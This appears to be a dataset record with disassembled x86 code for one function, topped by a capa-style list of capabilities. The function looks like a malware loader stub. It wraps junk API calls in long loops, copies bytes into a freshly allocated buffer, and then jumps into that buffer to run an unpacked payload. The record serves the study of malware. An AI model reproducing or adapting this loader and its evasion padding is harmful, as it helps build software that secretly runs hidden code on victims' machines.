Function at 0x43b110
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4496a8
push eax
mov dword fs:[0], esp
sub esp, 0x830
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x43b154
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x43b165
inc esi
cmp esi, 0x67d12
jl 0x43b140
cmp dword [0x45a9f4], 0x93
jne 0x43b26e
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor esi, esi
push esi
lea eax, [ebp - 0x838]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
xor ecx, ecx
lock bts dword [ecx], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [ebp - 0x10]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0x402df4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2c], 0
call fcn.0043c7b0
add esp, 4
push eax
push 0x402df4
lea ecx, [ebp - 0x30]
call fcn.0043bde0
push esi
mov dword [ebp - 4], esi
call fcn.0043c5c5
add esp, 4
push esi
call fcn.0043ca76
add esp, 4
push esi
push esi
call fcn.0043caa5
push esi
push esi
call fcn.0043c5ae
push esi
call fcn.0043ca5f
add esp, 0x14
call fcn.0043b100
push esi
push esi
call fcn.0043cbd2
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x43b26e
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0043cab0
add esp, 4
mov eax, dword [0x44ed94]
mov dword [0x45b830], eax
mov eax, dword [0x45a9f4]
add eax, 0x1134b
push eax
push 0
mov dword [0x45a9f4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x45a480], eax
call fcn.0043b040
mov esi, 0x1692e
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x43b2a0
cmp dword [0x45a9f4], esi
jbe 0x43b31a
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
nop
mov ecx, dword [0x45b830]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x45a480]
mov byte [eax + esi], dl
cmp dword [0x45a9f4], 0x490
jne 0x43b311
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x45a9f4]
jb 0x43b2c0
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x45a9f4]
add ecx, eax
cmp ecx, 0x8d
jne 0x43b377
push 0
lea edx, [ebp - 0x838]
push edx
push 0
push 0
push 0
push 0
call esi
push 0x402e04
push 0x402e14
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x43b331
call fcn.0043af00
xor edi, edi
xor esi, esi
jmp 0x43b390
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43b3ae
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x1243
mov ecx, dword [ebp - 0x10]
add dword [0x45a480], ecx
inc esi
cmp esi, 0x674bd
jl 0x43b390
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45a9f4], 0x86
jne 0x43b40a
push 0
call esi
push 0
lea edx, [ebp - 0x838]
push edx
push 0x402e28
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x45a9f4], 0xf
jne 0x43b41f
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x43b3d0
call fcn.0043abc0
call dword [0x45a480]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret